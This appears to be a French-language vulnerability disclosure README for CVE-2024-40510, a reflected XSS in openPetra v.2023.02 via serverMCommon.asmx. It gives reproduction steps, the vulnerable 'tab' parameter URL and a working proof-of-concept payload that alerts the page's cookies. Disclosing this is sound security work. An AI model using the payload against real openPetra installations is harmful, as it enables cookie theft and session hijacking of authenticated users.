jansen-c-moreira/cve-2024-40510OpenPetra v.2023.02 CVE-2024-40510
Description: Un utilisateur non authentifié peut voler les cookies d'un utilisateur authentifié en exploitant une XSS dans openPetra v.2023.02 via la fonction serverMCommon.asmx.
Version du produit vulnérable: openPetra v.2023.02
Auteur du CVE: Jansen Moreira
Date: 13/07/2024
CVE: CVE-2024-40510
Lien CVE: https://www.cve.org/CVERecord?id=CVE-2024-40510
Lien NVD: https://nvd.nist.gov/vuln/detail/CVE-2024-40510
Lien Tenable: https://www.tenable.com/cve/CVE-2024-40510
Confirmé le: 13/07/2024
Testé sur: Linux
1- Accédez à la page d'accueil
2- Utilisez le chemin suivant et ajoutez la charge utile XSS dans le paramètre tab. Ex. : http://target.com/api/serverMCommon.asmx?bnd=TMCommonWebServiceSoap&op=TFormTemplatesWebConnector_UploadFinanceFormTemplate&page=op&tab=x
3- Survolez l'élément d'index gauche pour déclencher la XSS
Charges utiles :
tab: x" onmouseover=alert(document.cookie) x="
Découvreur(s)/Crédits : Jansen Moreira
